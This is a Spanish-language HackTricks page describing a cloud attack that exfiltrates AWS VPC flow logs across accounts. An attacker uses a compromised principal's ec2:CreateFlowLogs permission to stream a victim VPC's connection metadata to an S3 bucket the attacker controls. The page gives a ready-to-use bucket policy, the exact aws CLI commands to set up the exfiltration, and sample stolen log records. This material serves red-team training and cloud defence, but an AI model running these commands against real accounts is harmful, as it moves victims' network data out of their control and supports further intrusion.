AWS - VPC Flow Logs Cross-Account Exfiltration to S3

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Resumen

Abusa de ec2:CreateFlowLogs para exportar los VPC, subnet o ENI flow logs directamente a un bucket S3 controlado por el atacante. Una vez que el delivery role esté configurado para escribir en el bucket externo, cada conexión vista en el recurso monitorizado se transmite fuera de la cuenta víctima.

Requisitos

  • Principal de la víctima: ec2:CreateFlowLogs, ec2:DescribeFlowLogs y iam:PassRole (si se requiere/se crea un delivery role).
  • Bucket del atacante: Política S3 que confíe en delivery.logs.amazonaws.com con s3:PutObject y bucket-owner-full-control.
  • Opcional: logs:DescribeLogGroups si se exporta a CloudWatch en lugar de S3 (no necesario aquí).

Desarrollo del ataque

  1. Atacante prepara una política de bucket S3 (en la cuenta del atacante) que permite que el servicio de entrega de VPC Flow Logs escriba objetos. Reemplaza los marcadores antes de aplicarla:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}

Aplicar desde la cuenta del atacante:

aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
  1. Victim (compromised principal) crea los flow logs dirigidos al attacker bucket:
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"

En cuestión de minutos, los archivos de flow log aparecen en el attacker bucket que contienen conexiones para todas las ENIs en la VPC/subnet monitoreada.

Evidencia

Registros de flow log de ejemplo escritos en el attacker bucket:

version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK

Prueba de Bucket listing:

aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize

Impacto

  • Exfiltración continua de metadatos de red (IPs de origen/destino, puertos, protocolos) para la VPC/subnet/ENI monitorizada.
  • Permite el análisis de tráfico, la identificación de servicios sensibles y el posible hunting de security group misconfigurations desde fuera de la cuenta de la víctima.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks